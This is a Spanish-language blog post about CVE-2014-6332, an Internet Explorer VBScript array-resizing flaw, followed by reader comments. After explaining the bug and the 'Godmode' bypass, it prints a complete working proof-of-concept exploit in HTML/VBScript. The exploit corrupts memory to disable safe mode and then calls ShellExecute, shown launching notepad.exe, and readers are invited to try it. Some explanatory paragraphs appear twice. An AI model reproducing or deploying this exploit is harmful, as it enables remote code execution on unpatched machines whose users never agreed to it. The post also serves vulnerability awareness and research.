PoC permite la ejecución remota de código en todas las versiones de IE (no parcheadas): CVE-2014-6332
Si sois de este mundillo seguro que tenéis presente que hace muy poco Micro$oft publicó un parche de seguridad para solucionar una vulnerabilidad presente en Internet Explorer 3.0, es decir hace 19 años, y que se ha ido heredando por todas las versiones posteriores de este navegador hasta que el 11 de noviembre de 2014 se publicó el boletín MS14-064 que la solucionaba.
Catalogada como CVE-2014-6332 tiene una puntuación de 9,3 sobre 10 en el CVSS (Common Vulnerability Scoring System), permite la ejecución de código remoto sin autorización del usuario y es incluso capaz de evadir el sandbox EPM (Enhanced Protected Mode) en IE11 y las protecciones de EMET.
El bug es causado por el incorrecto manejo del motor de VBScript del navegador al redimensionar arrays. VBScript.dll contiene un método de evaluación en tiempo de ejecución que mediante OleAut32.dll llama a la función SafeArrayRedim() para cambiar el tamaño del array. Sin embargo, si se produce un error, el tamaño no se resetea antes de regresar a la función de llamada, VBScript!CScriptRuntime::Run():
En VBScript, la explotación de este bug podría haberse evitado quitando el "On Error Resume Next" del código cuando la biblioteca OLEAUT32 devuelve un error. Como no es así es posible provocar un desbordamiento.
Además, ésto puede explotarse fácilmente gracias al denominado "Godmode", un flag que permite al navegador ejecutar VBScript sin restricciones como si fuera un shell local por lo que no es necesario preparar un payload y protecciones como DEP, ASLR y CFI no son aplicables.
Pues bien, recientemente el investigador chino Yuange1975 (adivinar cuantos añitos tiene Xd) ha publicado una PoC que permite escribir fácilmente código VBScript para comprometer equipos no parcheados. A continuación véase el código para probarlo, si bien un buen antivirus/malware debería detectarlo:
Fuentes:
- IBM X-Force Researcher Finds Significant Vulnerability in Microsoft Windows
- Detectado el uso “in-the-wild” de la vulnerabilidad en Internet Explorer
- A Killer Combo: Critical Vulnerability and ‘Godmode’ Exploitation on CVE-2014-6332
Catalogada como CVE-2014-6332 tiene una puntuación de 9,3 sobre 10 en el CVSS (Common Vulnerability Scoring System), permite la ejecución de código remoto sin autorización del usuario y es incluso capaz de evadir el sandbox EPM (Enhanced Protected Mode) en IE11 y las protecciones de EMET.
El bug es causado por el incorrecto manejo del motor de VBScript del navegador al redimensionar arrays. VBScript.dll contiene un método de evaluación en tiempo de ejecución que mediante OleAut32.dll llama a la función SafeArrayRedim() para cambiar el tamaño del array. Sin embargo, si se produce un error, el tamaño no se resetea antes de regresar a la función de llamada, VBScript!CScriptRuntime::Run():
En VBScript, la explotación de este bug podría haberse evitado quitando el "On Error Resume Next" del código cuando la biblioteca OLEAUT32 devuelve un error. Como no es así es posible provocar un desbordamiento.
Además, ésto puede explotarse fácilmente gracias al denominado "Godmode", un flag que permite al navegador ejecutar VBScript sin restricciones como si fuera un shell local por lo que no es necesario preparar un payload y protecciones como DEP, ASLR y CFI no son aplicables.
Pues bien, recientemente el investigador chino Yuange1975 (adivinar cuantos añitos tiene Xd) ha publicado una PoC que permite escribir fácilmente código VBScript para comprometer equipos no parcheados. A continuación véase el código para probarlo, si bien un buen antivirus/malware debería detectarlo:
//*
allie(win95+ie3-win10+ie11) dve copy by yuange in 2009.
https://twitter.com/yuange75
http://http://hi.baidu.com/yuange1975
*//
<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>
<SCRIPT LANGUAGE="VBScript">
function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "notepad.exe"
end function
</script>
<SCRIPT LANGUAGE="VBScript">
dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray
Begin()
function Begin()
On Error Resume Next
info=Navigator.UserAgent
if(instr(info,"Win64")>0) then
exit function
end if
if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function
end if
win9x=0
BeginInit()
If Create()=True Then
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
if(intVersion<4) then
document.write("<br> IE")
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function
function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
' document.write(i)
Create=True
Exit For
End If
Next
end function
sub testaa()
end sub
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function
function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runmumaa()
end function
function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10
If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function
end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if
If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If
redim Preserve aa(a0)
end function
function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))
ab(0)=0
redim Preserve aa(a0)
end function
</script>
</body>
</html>
Fuentes:
- IBM X-Force Researcher Finds Significant Vulnerability in Microsoft Windows
- Detectado el uso “in-the-wild” de la vulnerabilidad en Internet Explorer
- A Killer Combo: Critical Vulnerability and ‘Godmode’ Exploitation on CVE-2014-6332
Hola, que significa poc y php? Como las utilizo? Disculpe mi ignorancia
ResponderEliminarPoC = Prueba de Concepto
ResponderEliminarPHP = es un lenguaje de programación de uso general de código del lado del servidor originalmente diseñado para el desarrollo web de contenido dinámico. (http://es.wikipedia.org/wiki/PHP)
Gracias, y donde probaria ese codigo que publicaste en la nota? He visto muchos codigos en otras notas, hay un programa en especifico? Desde ya muchísimas gracias
ResponderEliminar